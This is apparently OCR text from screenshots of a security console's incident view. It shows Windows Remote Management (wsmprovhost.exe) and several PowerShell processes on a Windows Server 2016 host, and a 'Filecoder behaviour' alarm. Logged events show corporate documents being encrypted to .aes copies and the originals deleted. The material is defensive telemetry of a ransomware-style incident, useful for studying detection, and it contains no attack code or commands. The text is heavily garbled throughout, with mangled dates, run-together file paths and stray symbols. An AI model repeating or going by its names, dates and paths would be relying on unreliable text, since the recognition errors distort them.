4 minutes ago - 3 yepe. 2019, 16:14:23
1.2.894

Windows Server 2016

wsmprovhost.exe [(B832)

-Embedding

FSYSTEM ¥,

4 hours age - 3 4eps. 2019, 11:43:44

3 hours age - 3 4eps. 2019, 12:28:32

wsmprovhost.exe

147FCACBDECAEZCIOTBACZF11T3F0183E05FE636

Safe (9)

vents Loaded Modules (DLLs)

File
5845

- Process details

o©P
ooo

Registry
14

ILEXE |232)
4 .
|> services.exe (676)

+ [ svchostexe (836)

Filecoder behaviour [Z0601] (1)
Windows Remote Management
[:>“L powershell.exe (1320}
*
[>+ powershell.exe (7424)
[>+ powershell.exe (§124)

[}* powershell.exe (7292)

[}* powershell.exe (6308)



ENTERPRISE INSPECTOR

< BACK | Al > MoTeparHble M #afierHse > > > =3 - Raw Events
MNILEXE [552) .
g Details Aggregated Events Alarms Raw Events Loaded Modules (DLLs)
‘ SHOW SUB-PROCESS x| app FILTER + |>+ services.exe (676)
i EVENTS
TIMESTAMP PROCESS OPERATION ARGUMENT + D* svchost.exe (836)
3 yepe, 2019, 12:05:46  wsmprovhostexe(8832)  FileTruncated (on open) chcorporatedata‘\documentsharc.ixt.aes - &
3 uyepe, 2019, 12:05:46  wsmprovhost.exe(8832)  FileDelete chcorporatedata‘\documentsharcixt
3 yepe. 2019, 12:05:46  wsmprovhostexe(8832)  FileTruncated (on open) c\corporatedata\documents\arcsight.bit.aes Filecoder behaviour [Z0601]
3 uyepe, 2019, 12:05:46  wsmprovhost.exe(8832)  FileDelete chcorporatedatatdocumentsharcsightit
Windows Remote Managem
3 yepe, 2019, 12:05:46  wsmprovhostexe(8832)  FileTruncated (on open) chcorporatedata\documentsiclasses.vsdx
3 uyepe, 2019, 12:05:46  wsmprovhost.exe(8832)  FileDelete chcorporatedata\documentsiclasses.vedx &
+ [> powershell.exe (1320}
3 4epe, 2019, 12:05:46  wsmprovhostexe(8832)  FileTruncated {on open) ch\corporatedata‘documentsidebug.log.aes
3 4epe, 2019, 1220546  wsmprovhostexe(8832)  FileDelete ch\corporatedatatdocumentsidebug.log *
3 4epe, 2019, 12:05:46  wsmprovhostexe(8832)  FileTruncated {on open) ch\corporatedatatdocumentsidisktest.bxt.aes
B - _ ) ) + [}* powershell.exe (7424)
3 4epe, 2019, 1220546  wsmprovhostexe(8832)  FileDelete ch\corporatedatatdocumentsidisktest.ixt
3 4epe, 2019, 12:05:46  wsmprovhostexe(8832)  FileTruncated {on open) ch\corporatedata‘documentsieei-slow.log.aes ry
+ [} powershell.exe (§124)
3 4epe, 2019, 1220546  wsmprovhostexe(8832)  FileDelete ch\corporatedatatdocumentsieei-slow.log
3 uepe. 2019, 12:05:46  wsmprovhostexe(5832)  FileTruncated (on open)  C\corporatedataldocumentsiesd_event.vsdx.aes + D+ powershell.exe (7292)
3 uyepe, 2019, 12:05:46  wsmprovhost.exe(8832)  FileDelete ch\corporatedata\documents\esd_event.vsdx
&
3 yepe, 2019, 12:05:46  wsmprovhostexe(8832)  FileTruncated (on open) chcorporatedata\documents\eset_update_filter wireshark.txt.aes
3 uyepe, 2019, 12:05:46  wsmprovhost.exe(8832)  FileDelete chcorporatedata‘\documentsieset_update_filter wireshark.txt Iy
+ [> powershell.exe (6308)
3 yepe, 2019, 12:05:46  wsmprovhostexe(8832)  FileTruncated (on open) chcorporatedata‘\documentshge_key.txt.aes
3 uyepe, 2019, 12:05:46  wsmprovhost.exe(8832)  FileDelete chcorporatedata‘\documentsige_key.txt 1
3 yepe, 2019, 12:05:46  wsmprovhostexe(8832)  FileTruncated (on open) chcorporatedata‘\documents\gera_vpn.bxt.aes
- +

1 HOUR +1 HOUR GO TO TO TOP
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